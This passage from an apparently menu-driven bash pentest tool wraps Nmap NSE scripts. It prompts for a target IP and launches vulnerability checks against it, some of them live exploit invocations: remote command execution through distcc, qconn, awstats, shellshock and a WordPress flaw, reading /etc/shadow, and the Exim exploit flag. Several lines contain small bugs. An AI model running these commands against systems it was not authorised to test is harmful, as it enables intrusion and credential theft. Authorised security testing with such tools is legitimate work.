1935 | echo -e $white"	[$okegreen"17"$white]$cyan http-csrf "
1936 | echo -e $white"	[$okegreen"18"$white]$cyan http-dlink-backdoor "
1937 | echo -e $white"	[$okegreen"19"$white]$cyan http-dombased-xss "
1938 | echo -e $white"	[$okegreen"20"$white]$cyan http-enum "
1939 | echo -e $white"	[$okegreen"21"$white]$cyan http-fileupload-exploiter "
1940 | echo -e $white"	[$okegreen"22"$white]$cyan http-frontpage-login "
1941 | echo -e $white"	[$okegreen"23"$white]$cyan http-git "
1942 | echo -e $white"	[$okegreen"24"$white]$cyan http-huawei-hg5xx-vuln "
1943 | echo -e $white"	[$okegreen"25"$white]$cyan http-iis-webdav-vuln "
1944 | echo -e $white"	[$okegreen"26"$white]$cyan http-internal-ip-disclosure "
1945 | echo -e $white"	[$okegreen"27"$white]$cyan http-litespeed-sourcecode-download "
1946 | echo -e $white"	[$okegreen"28"$white]$cyan http-majordomo2-dir-traversal "
1947 | echo -e $white"	[$okegreen"29"$white]$cyan http-method-tamper "
1948 | echo -e $white"	[$okegreen"30"$white]$cyan http-passwd "
1949 | echo -e $white"	[$okegreen"31"$white]$cyan http-phpmyadmin-dir-traversal "
1950 | echo -e $white"	[$okegreen"32"$white]$cyan http-phpself-xss "
1951 | echo -e $white"	[$okegreen"33"$white]$cyan http-shellshock "
1952 | echo -e $white"	[$okegreen"34"$white]$cyan http-slowloris-check "
1953 | echo -e $white"	[$okegreen"35"$white]$cyan http-sql-injection "
1954 | echo -e $white"	[$okegreen"36"$white]$cyan http-stored-xss "
1955 | echo -e $white"	[$okegreen"37"$white]$cyan http-tplink-dir-traversal "
1956 | echo -e $white"	[$okegreen"38"$white]$cyan http-trace "
1957 | echo -e $white"	[$okegreen"39"$white]$cyan http-vmware-path-vuln "
1958 | echo -e $white"	[$okegreen"40"$white]$cyan http-vuln-cve2006-3392 "
1959 | echo -e $white"	[$okegreen"41"$white]$cyan http-vuln-cve2010-0738 "
1960 | echo -e $white"	[$okegreen"42"$white]$cyan http-vuln-cve2010-2861 "
1961 | echo -e $white"	[$okegreen"43"$white]$cyan http-vuln-cve2011-3192 "
1962 | echo -e $white"	[$okegreen"44"$white]$cyan http-vuln-cve2011-3368 "
1963 | echo -e $white"	[$okegreen"45"$white]$cyan http-vuln-cve2012-1823 "
1964 | echo -e $white"	[$okegreen"46"$white]$cyan http-vuln-cve2013-0156 "
1965 | echo -e $white"	[$okegreen"47"$white]$cyan http-vuln-cve2013-6786 "
1966 | echo -e $white"	[$okegreen"48"$white]$cyan http-vuln-cve2013-7091 "
1967 | echo -e $white"	[$okegreen"49"$white]$cyan http-vuln-cve2014-2126 "
1968 | echo -e $white"	[$okegreen"50"$white]$cyan http-vuln-cve2014-2127 "
1969 | echo -e $white"	[$okegreen"51"$white]$cyan http-vuln-cve2014-2128 "
1970 | echo -e $white"	[$okegreen"52"$white]$cyan http-vuln-cve2014-2129 "
1971 | echo -e $white"	[$okegreen"53"$white]$cyan http-vuln-cve2014-3704 "
1972 | echo -e $white"	[$okegreen"54"$white]$cyan http-vuln-cve2014-8877 "
1973 | echo -e $white"	[$okegreen"55"$white]$cyan http-vuln-cve2015-1427 "
1974 | echo -e $white"	[$okegreen"56"$white]$cyan http-vuln-cve2015-1635 "
1975 | echo -e $white"	[$okegreen"57"$white]$cyan http-vuln-misfortune-cookie "
1976 | echo -e $white"	[$okegreen"58"$white]$cyan http-vuln-wnr1000-creds "
1977 | echo -e $white"	[$okegreen"59"$white]$cyan http-wordpress-users "
1978 | echo -e $white"	[$okegreen"60"$white]$cyan ipmi-cipher-zero "
1979 | echo -e $white"	[$okegreen"61"$white]$cyan irc-botnet-channels "
1980 | echo -e $white"	[$okegreen"62"$white]$cyan irc-unrealircd-backdoor "
1981 | echo -e $white"	[$okegreen"63"$white]$cyan mysql-vuln-cve2012-2122 "
1982 | echo -e $white"	[$okegreen"64"$white]$cyan netbus-auth-bypass "
1983 | echo -e $white"	[$okegreen"65"$white]$cyan qconn-exec "
1984 | echo -e $white"	[$okegreen"66"$white]$cyan rdp-vuln-ms12-020 "
1985 | echo -e $white"	[$okegreen"67"$white]$cyan rmi-vuln-classloader "
1986 | echo -e $white"	[$okegreen"68"$white]$cyan samba-vuln-cve-2012-1182 "
1987 | echo -e $white"	[$okegreen"69"$white]$cyan smb-vuln-conficker "
1988 | echo -e $white"	[$okegreen"70"$white]$cyan smb-vuln-cve2009-3103 "
1989 | echo -e $white"	[$okegreen"71"$white]$cyan smb-vuln-ms06-025 "
1990 | echo -e $white"	[$okegreen"72"$white]$cyan smb-vuln-ms07-029 "
1991 | echo -e $white"	[$okegreen"73"$white]$cyan smb-vuln-ms08-067 "
1992 | echo -e $white"	[$okegreen"74"$white]$cyan smb-vuln-ms10-054 "
1993 | echo -e $white"	[$okegreen"75"$white]$cyan smb-vuln-ms10-061 "
1994 | echo -e $white"	[$okegreen"76"$white]$cyan smb-vuln-regsvc-dos "
1995 | echo -e $white"	[$okegreen"77"$white]$cyan smtp-vuln-cve2010-4344 "
1996 | echo -e $white"	[$okegreen"78"$white]$cyan smtp-vuln-cve2011-1720 "
1997 | echo -e $white"	[$okegreen"79"$white]$cyan smtp-vuln-cve2011-1764 "
1998 | echo -e $white"	[$okegreen"80"$white]$cyan ssl-ccs-injection "
1999 | echo -e $white"	[$okegreen"81"$white]$cyan ssl-cert-intaddr "
2000 | echo -e $white"	[$okegreen"82"$white]$cyan ssl-dh-params "
2001 | echo -e $white"	[$okegreen"83"$white]$cyan ssl-heartbleed "
2002 | echo -e $white"	[$okegreen"84"$white]$cyan ssl-known-key "
2003 | echo -e $white"	[$okegreen"85"$white]$cyan ssl-poodle "
2004 | echo -e $white"	[$okegreen"86"$white]$cyan sslv2-drown "
2005 | echo -e $white"	[$okegreen"87"$white]$cyan supermicro-ipmi-conf "
2006 | echo -e $white"	[$okegreen"88"$white]$cyan wdb-version "
2007 | echo -e $white"	[$okegreen"89"$white]$cyan back "
2008 | echo -e " "
2009 | echo -n -e $red'  \033[4mScreetsec@nse-vuln:\033[0m>> '; tput sgr0 #insert your choice
2010 |          read vuln
2011 |       if test $vuln == '1'
2012 |         then
2013 |         echo
2014 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2015 |         read ip
2016 |         $xterm -sV --script=afp-path-vuln $ip &
2017 |       elif test $vuln == '2'
2018 |         then
2019 |         echo
2020 |         $xterm --script=broadcast-avahi-dos &
2021 |       elif test $vuln == '3'
2022 |         then
2023 |         echo
2024 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2025 |         read ip
2026 |         $xterm -sV --script clamav-exec $ip &
2027 |       elif test $vuln == '4'
2028 |         then
2029 |         echo
2030 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2031 |         read ip
2032 |         $xterm -p 3632 $ip --script distcc-exec --script-args="distcc-exec.cmd='id'" &
2033 |       elif test $vuln == '5'
2034 |         then
2035 |         echo
2036 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2037 |         read ip
2038 |         $xterm -sU -p 53 --script=dns-update --script-args=dns-update.hostname=foo.example.com,dns-update.ip=192.0.2.1 $ip &
2039 |       elif test $vuln == '6'
2040 |         then
2041 |         echo
2042 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2043 |         read ip
2044 |         $xterm --script firewall-bypass --script-args firewall-bypass.helper="ftp", firewall-bypass.targetport=22 $ip &
2045 |       elif test $vuln == '7'
2046 |         then
2047 |         echo
2048 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2049 |         read ip
2050 |         $xterm -sV --script=ftp-libopie $ip &
2051 |       elif test $vuln == '8'
2052 |         then
2053 |         echo
2054 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2055 |         read ip
2056 |         $xterm --script ftp-proftpd-backdoor -p 21 $ip &
2057 |       elif test $vuln == '9'
2058 |         then
2059 |         echo
2060 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2061 |         read ip
2062 |         $xterm --script ftp-vsftpd-backdoor -p 21 $ip &
2063 |       elif test $vuln == '10'
2064 |         then
2065 |         echo
2066 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2067 |         read ip
2068 |         echo -ne $okegreen " What is your Port Target or Host: " ; tput sgr0
2069 |         read port
2070 |         $xterm --script ftp-vuln-cve2010-4221 -p $port $ip &
2071 |       elif test $vuln == '11'
2072 |         then
2073 |         echo
2074 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2075 |         read ip
2076 |         $xterm -p 80 --script http-adobe-coldfusion-apsa1301 --script-args basepath=/cf/adminapi/ $ip &
2077 |       elif test $vuln == '12'
2078 |         then
2079 |         echo
2080 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2081 |         read ip
2082 |         $xterm --script http-debug --script-args http-aspnet-debug.path=/path $ip &
2083 |       elif test $vuln == '13'
2084 |         then
2085 |         echo
2086 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2087 |         read ip
2088 |         $xterm -sV --script http-avaya-ipoffice-users $ip &
2089 |       elif test $vuln == '14'
2090 |         then
2091 |         echo
2092 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2093 |         read ip
2094 |         $xterm -sV --script http-awstatstotals-exec.nse --script-args 'http-awstatstotals-exec.cmd="uname -a", http-awstatstotals-exec.uri=/awstats/index.php' $ip &
2095 |       elif test $vuln == '15'
2096 |         then
2097 |         echo
2098 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2099 |         read ip
2100 |         $xterm -p 80 --script http-axis2-dir-traversal $ip &
2101 |       elif test $vuln == '16'
2102 |         then
2103 |         echo
2104 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2105 |         read ip
2106 |         $xterm -p 80 --script http-crossdomainxml --script-args http.domain-lookup=true $ip &
2107 |       elif test $vuln == '17'
2108 |         then
2109 |         echo
2110 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2111 |         read ip
2112 |         $xterm -p 80 --script http-csrf.nse $ip &
2113 |       elif test $vuln == '18'
2114 |         then
2115 |         echo
2116 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2117 |         read ip
2118 |         $xterm -sV --script http-dlink-backdoor $ip &
2119 |       elif test $vuln == '19'
2120 |         then
2121 |         echo
2122 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2123 |         read ip
2124 |         $xterm -p 80 --script http-dombased-xss.nse $ip &
2125 |       elif test $vuln == '20'
2126 |         then
2127 |         echo
2128 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2129 |         read ip
2130 |         $xterm -sV --script=http-enum $ip &
2131 |       elif test $vuln == '21'
2132 |         then
2133 |         echo
2134 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2135 |         read ip
2136 |         $xterm -p 80 --script http-fileupload-exploiter.nse $ip &
2137 |       elif test $vuln == '22'
2138 |         then
2139 |         echo
2140 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2141 |         read ip
2142 |         $xterm $ip -p 80 --script=http-frontpage-login &
2143 |       elif test $vuln == '23'
2144 |         then
2145 |         echo
2146 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2147 |         read ip
2148 |         $xterm sV -sC $ip &
2149 |       elif test $vuln == '24'
2150 |         then
2151 |         echo
2152 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2153 |         read ip
2154 |         $xterm -sV http-huawei-hg5xx-vuln $ip &
2155 |       elif test $vuln == '25'
2156 |         then
2157 |         echo
2158 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2159 |         read ip
2160 |         $xterm --script http-iis-webdav-vuln -p 80,8080 $ip &
2161 |       elif test $vuln == '26'
2162 |         then
2163 |         echo
2164 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2165 |         read ip
2166 |         $xterm --script http-internal-ip-disclosure --script-args http-internal-ip-disclosure.path=/path $ip &
2167 |       elif test $vuln == '27'
2168 |         then
2169 |         echo
2170 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2171 |         read ip
2172 |         $xterm -p 80,8080 --script http-litespeed-sourcecode-download --script-args http-litespeed-sourcecode-download.uri=/phpinfo.php $ip &
2173 |       elif test $vuln == '28'
2174 |         then
2175 |         echo
2176 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2177 |         read ip
2178 |         $xterm -p 80 --script http-majordomo2-dir-traversal $ip &
2179 |       elif test $vuln == '29'
2180 |         then
2181 |         echo
2182 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2183 |         read ip
2184 |         $xterm -p80 --script http-method-tamper --script-args 'http-method-tamper.paths={/protected/db.php,/protected/index.php}' $ip &
2185 |       elif test $vuln == '30'
2186 |         then
2187 |         echo
2188 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2189 |         read ip
2190 |         $xterm --script http-passwd --script-args http-passwd.root=/test/ $ip &
2191 |       elif test $vuln == '31'
2192 |         then
2193 |         echo
2194 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2195 |         read ip
2196 |         $xterm -p80 --script http-phpmyadmin-dir-traversal $ip &
2197 |       elif test $vuln == '32'
2198 |         then
2199 |         echo
2200 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2201 |         read ip
2202 |         $xterm -sV --script http-self-xss $ip &
2203 |       elif test $vuln == '33'
2204 |         then
2205 |         echo
2206 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2207 |         read ip
2208 |         $xterm -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls $ip &
2209 |       elif test $vuln == '34'
2210 |         then
2211 |         echo
2212 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2213 |         read ip
2214 |         $xterm --script http-slowloris-check $ip &
2215 |       elif test $vuln == '35'
2216 |         then
2217 |         echo
2218 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2219 |         read ip
2220 |         $xterm -sV --script=http-sql-injection $ip &
2221 |       elif test $vuln == '36'
2222 |         then
2223 |         echo
2224 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2225 |         read ip
2226 |         $xterm -p 80 --script http-stored-xss.nse $ip &
2227 |       elif test $vuln == '37'
2228 |         then
2229 |         echo
2230 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2231 |         read ip
2232 |         $xterm -p80 --script http-tplink-dir-traversal.nse --script-args rfile=/etc/topology.conf -d -n -Pn $ip &
2233 |       elif test $vuln == '38'
2234 |         then
2235 |         echo
2236 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2237 |         read ip
2238 |         $xterm --script http-trace -d $ip &
2239 |       elif test $vuln == '39'
2240 |         then
2241 |         echo
2242 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2243 |         read ip
2244 |         $xterm --script http-vmware-path-vuln -p80,443,8222,8333 $ip &
2245 |       elif test $vuln == '40'
2246 |         then
2247 |         echo
2248 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2249 |         read ip
2250 |         $xterm -p80 --script http-vuln-cve2006-3392 --script-args http-vuln-cve2006-3392.file=/etc/shadow $ip &
2251 |       elif test $vuln == '41'
2252 |         then
2253 |         echo
2254 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2255 |         read ip
2256 |         $xterm --script=http-vuln-cve2010-0738 --script-args 'http-vuln-cve2010-0738.paths={/path1/,/path2/}' $ip &
2257 |       elif test $vuln == '42'
2258 |         then
2259 |         echo
2260 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2261 |         read ip
2262 |         $xterm --script http-vuln-cve2010-2861 $ip &
2263 |       elif test $vuln == '43'
2264 |         then
2265 |         echo
2266 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2267 |         read ip
2268 |         $xterm --script http-vuln-cve2011-3192.nse [--script-args http-vuln-cve2011-3192.hostname=nmap.scanme.org] -pT:80,443 $ip &
2269 |       elif test $vuln == '44'
2270 |         then
2271 |         echo
2272 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2273 |         read ip
2274 |         $xterm --script http-vuln-cve2011-3368 $ip &
2275 |       elif test $vuln == '45'
2276 |         then
2277 |         echo
2278 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2279 |         read ip
2280 |         $xterm -sV --script http-vuln-cve2012-1823 $ip &
2281 |       elif test $vuln == '46'
2282 |         then
2283 |         echo
2284 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2285 |         read ip
2286 |         $xterm -sV --script http-vuln-cve2013-0156 $ip &
2287 |       elif test $vuln == '47'
2288 |         then
2289 |         echo
2290 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2291 |         read ip
2292 |         $xterm -p80 --script http-rompager-xss $ip &
2293 |       elif test $vuln == '48'
2294 |         then
2295 |         echo
2296 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2297 |         read ip
2298 |         $xterm -p80 --script http-vuln-cve2013-7091 --script-args http-vuln-cve2013-7091=/ZimBra $ip &
2299 |       elif test $vuln == '49'
2300 |         then
2301 |         echo
2302 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2303 |         read ip
2304 |         $xterm -p 443 --script http-vuln-cve2014-2126 $ip &
2305 |       elif test $vuln == '50'
2306 |         then
2307 |         echo
2308 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2309 |         read ip
2310 |         $xterm -p 443 --script http-vuln-cve2014-2127 $ip &
2311 |       elif test $vuln == '51'
2312 |         then
2313 |         echo
2314 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2315 |         read ip
2316 |         $xterm -p 443 --script http-vuln-cve2014-2128 $ip &
2317 |       elif test $vuln == '52'
2318 |         then
2319 |         echo
2320 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2321 |         read ip
2322 |         $xterm -p 443 --script http-vuln-cve2014-2129 $ip &
2323 |       elif test $vuln == '53'
2324 |         then
2325 |         echo
2326 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2327 |         read ip
2328 |         $xterm --script http-vuln-cve2014-3704 --script-args http-vuln-cve2014-3704.uri="/drupal",http-vuln-cve2014-3704.cleanup=false $ip &
2329 |       elif test $vuln == '54'
2330 |         then
2331 |         echo
2332 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2333 |         read ip
2334 |         $xterm --script http-vuln-cve2014-8877 --script-args http-vuln-cve2014-8877.cmd="whoami",http-vuln-cve2014-8877.uri="/wordpress" $ip &
2335 |       elif test $vuln == '55'
2336 |         then
2337 |         echo
2338 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2339 |         read ip
2340 |         $xterm --script=http-vuln-cve2015-1427 --script-args command= 'ls' $ip &
2341 |       elif test $vuln == '56'
2342 |         then
2343 |         echo
2344 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2345 |         read ip
2346 |         $xterm -sV --script http-vuln-cve2015-1635 --script-args uri='/anotheruri/' $ip &
2347 |       elif test $vuln == '57'
2348 |         then
2349 |         echo
2350 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2351 |         read ip
2352 |         $xterm $ip -p 7547 --script=http-vuln-misfortune-cookie &
2353 |       elif test $vuln == '58'
2354 |         then
2355 |         echo
2356 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2357 |         read ip
2358 |         $xterm -sV --script http-vuln-wnr1000-creds $ip -p 80 &
2359 |       elif test $vuln == '59'
2360 |         then
2361 |         echo
2362 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2363 |         read ip
2364 |         $xterm -sV --script http-wordpress-users --script-args limit=50 $ip &
2365 |       elif test $vuln == '60'
2366 |         then
2367 |         echo
2368 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2369 |         read ip
2370 |         $xterm -sU --script ipmi-cipher-zero -p 623 $ip &
2371 |       elif test $vuln == '61'
2372 |         then
2373 |         echo
2374 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2375 |         read ip
2376 |         $xterm -p 6667 --script=irc-botnet-channels $ip &
2377 |       elif test $vuln == '62'
2378 |         then
2379 |         echo
2380 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2381 |         read ip
2382 |         $xterm -sV --script=irc-unrealircd-backdoor $ip &
2383 |       elif test $vuln == '63'
2384 |         then
2385 |         echo
2386 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2387 |         read ip
2388 |         $xterm -sV --script mysql-vuln-cve2012-2122 $ip &
2389 |       elif test $vuln == '64'
2390 |         then
2391 |         echo
2392 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2393 |         read ip
2394 |         $xterm -p 12345 --script netbus-auth-bypass $ip &
2395 |       elif test $vuln == '65'
2396 |         then
2397 |         echo
2398 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2399 |         read ip
2400 |         $xterm --script qconn-exec --script-args qconn-exec.timeout=60,qconn-exec.bytes=1024,qconn-exec.cmd="uname -a" -p $port $ip &
2401 |       elif test $vuln == '66'
2402 |         then
2403 |         echo
2404 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2405 |         read ip
2406 |         $xterm -sV --script=rdp-ms12-020 -p 3389 $ip &
2407 |       elif test $vuln == '67'
2408 |         then
2409 |         echo
2410 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2411 |         read ip
2412 |         $xterm --script=rmi-vuln-classloader -p 1099 $ip &
2413 |       elif test $vuln == '68'
2414 |         then
2415 |         echo
2416 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2417 |         read ip
2418 |         $xterm --script=samba-vuln-cve-2012-1182 -p 139 $ip &
2419 |       elif test $vuln == '69'
2420 |         then
2421 |         echo
2422 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2423 |         read ip
2424 |         $xterm -sU --script smb-vuln-conficker.nse -p T:139 $ip &
2425 |       elif test $vuln == '70'
2426 |         then
2427 |         echo
2428 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2429 |         read ip
2430 |         $xterm -sU --script smb-vuln-cve2009-3103.nse -p U:137,T:139 $ip &
2431 |       elif test $vuln == '71'
2432 |         then
2433 |         echo
2434 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2435 |         read ip
2436 |         $xterm -sU --script smb-vuln-ms06-025.nse -p U:137,T:139 $ip &
2437 |       elif test $vuln == '72'
2438 |         then
2439 |         echo
2440 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2441 |         read ip
2442 |         $xterm -sU --script smb-vuln-ms07-029.nse -p U:137,T:139 $ip &
2443 |       elif test $vuln == '73'
2444 |         then
2445 |         echo
2446 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2447 |         read ip
2448 |         $xterm -sU --script smb-vuln-ms08-067.nse -p U:137 $ip &
2449 |       elif test $vuln == '74'
2450 |         then
2451 |         echo
2452 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2453 |         read ip
2454 |         $xterm -p 445 $ip --script=smb-vuln-ms10-054 --script-args unsafe &
2455 |       elif test $vuln == '75'
2456 |         then
2457 |         echo
2458 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2459 |         read ip
2460 |         $xterm  -p 445 $ip --script=smb-vuln-ms10-061 &
2461 |       elif test $vuln == '76'
2462 |         then
2463 |         echo
2464 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2465 |         read ip
2466 |         $xterm -sU --script smb-vuln-regsvc-dos.nse -p U:137,T:139 $ip &
2467 |       elif test $vuln == '77'
2468 |         then
2469 |         echo
2470 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2471 |         read ip
2472 |         $xterm --script=smtp-vuln-cve2010-4344 --script-args="smtp-vuln-cve2010-4344.exploit" -pT:25,465,587 $ip &
2473 |       elif test $vuln == '78'
2474 |         then
2475 |         echo
2476 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2477 |         read ip
2478 |         $xterm --script=smtp-vuln-cve2011-1720 --script-args='smtp.domain=<domain>' -pT:25,465,587 $ip &
2479 |       elif test $vuln == '79'
2480 |         then
2481 |         echo
2482 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2483 |         read ip
2484 |         $xterm  --script=smtp-vuln-cve2011-1764 -pT:25,465,587 $ip &
2485 |       elif test $vuln == '80'
2486 |         then
2487 |         echo
2488 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2489 |         read ip
2490 |         $xterm -p 443 --script ssl-ccs-injection $ip &
2491 |       elif test $vuln == '81'
2492 |         then
2493 |         echo
2494 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2495 |         read ip
2496 |         $xterm -p 443 --script ssl-cert-intaddr $ip &
2497 |       elif test $vuln == '82'
2498 |         then
2499 |         echo
2500 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2501 |         read ip
2502 |         $xterm --script ssl-dh-params $ip &
2503 |       elif test $vuln == '83'
2504 |         then
2505 |         echo
2506 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2507 |         read ip
2508 |         $xterm -p 443 --script ssl-heartbleed $ip &
2509 |       elif test $vuln == '84'
2510 |         then
2511 |         echo
2512 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2513 |         read ip
2514 |         $xterm --script ssl-known-key -p 443 $ip &
2515 |       elif test $vuln == '85'
2516 |         then
2517 |         echo
2518 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2519 |         read ip
2520 |         $xterm -sV --version-light --script ssl-poodle -p 443 $ip &
2521 |       elif test $vuln == '86'
2522 |         then
2523 |         echo
2524 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2525 |         read ip
2526 |         $xterm -sV --script=sslv2-drown $ip &
2527 |       elif test $vuln == '87'
2528 |         then
2529 |         echo
2530 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2531 |         read ip
2532 |         $xterm -p49152 --script supermicro-ipmi-conf $ip &
2533 |       elif test $vuln == '88'
2534 |         then
2535 |         echo
2536 |         echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2537 |         read ip
2538 |         $xterm -sU -p 17185 --script wdb-version $ip &
2539 |       elif test $vuln == '89'
2540 |         then
2541 |          nse
2542 |       else
2543 |           echo ""
2544 |           echo -e $okegreen " Incorrect Number"
2545 |         fi
2546 |         echo ""
2547 |         echo ""
2548 |         echo -n -e $red " Back to Last Menu? ( Yes / No ) :"
2549 |       read back
2550 |       if [ $back != 'n' ] && [ $back != 'N' ] && [ $back != 'no' ] && [ $back != 'No' ]
2551 |           then
2552 |           clear
2553 |           menu
2554 |       elif [ $back != 'y' ] && [ $back != 'Y' ] && [ $back != 'yes' ] && [ $back != 'Yes' ]
2555 |           then
2556 |           vuln
2557 |       fi
2558 | }
2559 | 
2560 | 
2561 | function nse	() {
2562 | clear
2563 | echo -e $okegreen " "
2564 | echo "    )   *           (      (         (   (   (            ";
2565 | echo " ( /( (  \     (     )\ )   )\ )  (   )\ ))\ ))\ )  *   )  ";
2566 | echo " )\()))\))(   )\   (()/(  (()/(  )\ (()/(()/(()/(\  )  /(  ";
2567 | echo "((_)\((_)()((((_)(  /(_))  /(_)|((_) /(_))(_))(_))( )(_)) ";
2568 | echo " _((_|_()((_)\ _ )\(_))   (_)) )\___(_))(_))(_)) (_(_())  ";
2569 | echo "| \| |  \/  (_)_\(_) _ \  / __((/ __| _ \_ _| _ \|_   _|  ";
2570 | echo "| .\ | |\/| |/ _ \ |  _/  \__ \| (__|   /| ||  _/  | |    ";
2571 | echo "|_|\_|_|  |_/_/ \_\|_|    |___/ \___|_|_\___|_|    |_|    ";
2572 | echo "                                                          ";
2573 | echo -e $red"  Nmap Script Engine - Advanced Scanning with Nmap Script "
2574 | 
2575 | 				echo -e $white " "
2576 | 				echo -e $white"	[$okegreen"01"$white]$cyan  auth-category  "
2577 | 				echo -e $white"	[$okegreen"02"$white]$cyan  broadcast-category "
2578 | 				echo -e $white"	[$okegreen"03"$white]$cyan  brute-category "
2579 | 				echo -e $white"	[$okegreen"04"$white]$cyan  exploit-category "
2580 | 				echo -e $white"	[$okegreen"05"$white]$cyan  fuzzer-category "
2581 | 				echo -e $white"	[$okegreen"06"$white]$cyan  malware-category "
2582 | 				echo -e $white"	[$okegreen"07"$white]$cyan  vuln-category "
2583 | 				echo -e $white"	[$okegreen"08"$white]$cyan  back to menu "
2584 | 				echo
2585 | 				echo -n -e $red'  \033[4mScreetsec@nse:\033[0m>> '; tput sgr0 #insert your choice
2586 | 		      	read ceh
2587 | 		          if test $ceh == '1'
2588 | 		          	then
2589 | 								clear
2590 | 								auth
2591 | 		          	elif test $ceh == '2'
2592 | 		           		then
2593 | 		           		clear
2594 | 									brd
2595 | 		              elif test $ceh == '3'
2596 | 		                then
2597 | 										clear
2598 | 										brutense
2599 | 		              elif test $ceh == '4'
2600 | 		                then
2601 | 											clear
2602 | 											exploit
2603 | 		            elif test $ceh == '5'
2604 | 		                then
2605 | 											clear
2606 | 											fuzzer
2607 | 										elif test $ceh == '6'
2608 | 		                	then
2609 | 		                	echo
2610 | 											clear
2611 | 											malware
2612 | 										elif test $ceh == '7'
2613 | 											then
